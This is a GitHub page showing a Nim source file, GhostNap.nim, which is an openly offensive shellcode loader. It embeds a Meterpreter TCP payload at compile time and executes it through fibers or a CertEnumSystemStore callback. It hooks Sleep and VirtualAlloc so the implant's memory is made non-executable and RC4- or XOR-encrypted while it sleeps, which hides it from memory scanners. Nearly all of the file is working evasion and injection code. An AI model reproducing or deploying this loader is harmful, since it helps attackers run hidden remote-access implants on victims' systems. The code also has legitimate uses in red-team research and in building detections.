-
Notifications
You must be signed in to change notification settings - Fork 1
/
GhostNap.nim
208 lines (150 loc) · 5.84 KB
/
GhostNap.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
import minhook
import ptr_math
import strformat
import winim\lean
import nimprotect
##############################
########### Config ###########
##############################
# Raw shellcode file to load
const shellcFile = protectString("x64_meterpreter_tcp")
# Shellcode execution method
# 1 = As Fiber
# 2 = CertEnumSystemStore callback
const execMethod = 2
# Implant sleep time
const sleepTime = 30 * 1000
# Encoding method
# 1 = Simple byte xor
# 2 = RC4 using SystemFunction032
const encMethod = 2
# Encoding / encryption keys
const xorKey = 0x52
const rc4Key = [char 'G', 'h', 'o', 's', 't', 'N', 'a', 'p', ' ', 'R', 'o', 'c', 'k', 's', '!', '!']
##############################
########### Config ###########
##############################
# Global vars
var shellcAddress: LPVOID
var shellcSize: SIZE_T
var implantAllocs: seq[(PVOID, SIZE_T)]
# Some RC4 definitions
proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
type
USTRING* = object
Length*: DWORD
MaximumLength*: DWORD
Buffer*: PVOID
func toBytes(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
proc injectShellcode(shellc: seq[byte], execMethod: int): bool =
shellcSize = shellc.len
# Allocate memory
shellcAddress = VirtualAlloc(
NULL,
shellcSize,
MEM_COMMIT,
PAGE_READWRITE
)
when not defined(release): echo "[i] Allocated memory for shellcode at 0x" & repr shellcAddress
# Change protection to executable
var oldProtection : DWORD
VirtualProtect(
shellcAddress,
shellcSize,
PAGE_EXECUTE_READWRITE,
addr oldProtection
)
# Append to implantAllocs to add protection
implantAllocs.add((shellcAddress, shellcSize))
when not defined(release): echo fmt"[i] Installing VirtualAlloc hook"
# Now after allocating the shellcode we can hook VirtualAlloc
enableHook(VirtualAlloc)
# Copy shellcode
CopyMemory(
shellcAddress,
cast[PVOID](unsafeAddr shellc[0]),
shellcSize,
)
if execMethod == 1: # Execute as Fiber
when not defined(release): echo "[i] Executing shellcode as Fiber"
discard ConvertThreadToFiber(NULL)
let shellcodeFiber = CreateFiber(shellcSize, cast[LPFIBER_START_ROUTINE](shellcAddress), NULL)
SwitchToFiber(shellcodeFiber)
elif execMethod == 2: # Execute as Callback
when not defined(release): echo "[i] Executing shellcode as CertEnumSystemStore callback"
CertEnumSystemStore(
CERT_SYSTEM_STORE_CURRENT_USER,
nil,
nil,
cast[PFN_CERT_ENUM_SYSTEM_STORE](shellcAddress)
)
else:
return false
proc xorMem(address: LPVOID, size: SIZE_T, key: byte) =
for i in 0..<int(size):
cast[PBYTE](address + i)[0] = cast[PBYTE](address + i)[0] xor key
proc rc4Mem(address: LPVOID, size: SIZE_T, rc4Key: ptr array[16, char]) =
var keyString: USTRING
var imgString: USTRING
keyString.Buffer = cast[PVOID](rc4Key)
keyString.Length = 16
keyString.MaximumLength = 16
imgString.Buffer = address
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)
SystemFunction032(&imgString, &keyString)
proc mySleep(dwMilliseconds: DWORD) {.stdcall, minhook: Sleep.} =
when not defined(release): echo "[i] Entering mySleep"
var oldProtection : DWORD
for page in implantAllocs:
when not defined(release): echo fmt"[i] Changing 0x{repr page[0]} -> PAGE_READWRITE"
# Revoke X permission
VirtualProtect(page[0], page[1], PAGE_READWRITE, addr oldProtection)
when not defined(release): echo fmt"[i] Encoding 0x{repr page[0]}"
# Encode the shellcode
if encMethod == 1:
xorMem(page[0], page[1], xorKey)
elif encMethod == 2:
rc4Mem(page[0], page[1], unsafeAddr rc4Key)
when not defined(release): echo fmt"[i] Sleeping for {sleepTime/1000} seconds"
# Sleep for real
SleepEx(sleepTime, FALSE)
for page in implantAllocs:
when not defined(release): echo fmt"[i] Decoding 0x{repr page[0]}"
# Decode the shellcode
if encMethod == 1:
xorMem(page[0], page[1], xorKey)
elif encMethod == 2:
rc4Mem(page[0], page[1], unsafeAddr rc4Key)
when not defined(release): echo fmt"[i] Changing 0x{repr page[0]} -> PAGE_EXECUTE_READWRITE"
# Add X permission
VirtualProtect(page[0], page[1], PAGE_EXECUTE_READWRITE, addr oldProtection)
when not defined(release): echo "[i] Exiting mySleep"
proc myVirtualAlloc(lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD): LPVOID {.stdcall, minhook: VirtualAlloc.} =
# Call original
var allocated = VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
# Parse requested page permissions
var pageProt: string
case flProtect:
of 0x04:
pageProt = "PAGE_READWRITE"
of 0x20:
pageProt = "PAGE_EXECUTE_READ"
of 0x40:
pageProt = "PAGE_EXECUTE_READWRITE"
else:
return allocated
when not defined(release): echo fmt"[i] Shellcode allocated memory at 0x{repr allocated} ({pageProt})"
# Append to implantAllocs to add protection
implantAllocs.add((allocated, dwSize))
return allocated
when isMainModule:
# Read shellcode at compile time
const shellcode = staticRead(shellcFile)
when not defined(release): echo fmt"[i] Installing Sleep hook"
# Enable kernel32:Sleep hook
enableHook(Sleep)
# Jump to shellcode
discard injectShellcode(toBytes(shellcode), execMethod)